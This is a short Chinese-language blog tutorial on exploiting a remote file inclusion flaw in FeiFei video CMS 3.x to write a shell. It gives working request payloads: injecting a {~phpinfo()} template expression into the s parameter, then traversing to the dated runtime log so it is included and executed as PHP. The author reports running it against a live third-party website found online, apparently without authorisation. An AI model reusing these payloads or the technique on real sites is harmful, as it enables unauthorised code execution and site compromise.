飞飞影视漏洞之远程包含写shell

成成{Jone}

0x02

然后我上去乌云搜索了一下这个程序的漏洞，就找到了这么一个漏洞。

http://www.wooyun.org/bugs/wooyun-2014-082291  

这里是他说了漏洞的形成怎么怎么滴。反正我是觉得好高大上。（原谅我还是一个菜逼）

  其他我也不多说了。我今天就来说下，这个漏洞是怎么利用的。毕竟我php学的也不好。也不好给 大家分析这个漏洞...

以下是我本地搭建的环境演示的。

首先 我们先执行这个语句  

index.php?s=my-show-id-1｛~phpinfo()}.html 这个语句。

如果报错了。显示这样
那就是证明漏洞应该是存在的。

执行完了之后我们看下生成了什么文件。
生成了下图这么一个文件。






index.php?s=my-show-id-\..\runtime\logs\15_06_29.log.html  
就可以了。这里生成的文件名  是年月日.log.html（年月日就是你当前的日期）

还有就是 include 包含的文件  无论是什么格式 都以php执行。

接着我在网上找了一个网站测试了一下

先执行了

index.php?s=my-show-id-1｛~phpinfo()}.html  

报错了..



好的。我们接着执行

index.php?s=my-show-id-\..\runtime\logs\15_12_15.log.html  看看我们有没有写进去。

返回如下



Ok. 我们成功写进去了。返回了phpinfo的信息。

（该漏洞在3.0的都还有漏洞。最新版5.0的修复了。）  



至此文章结束。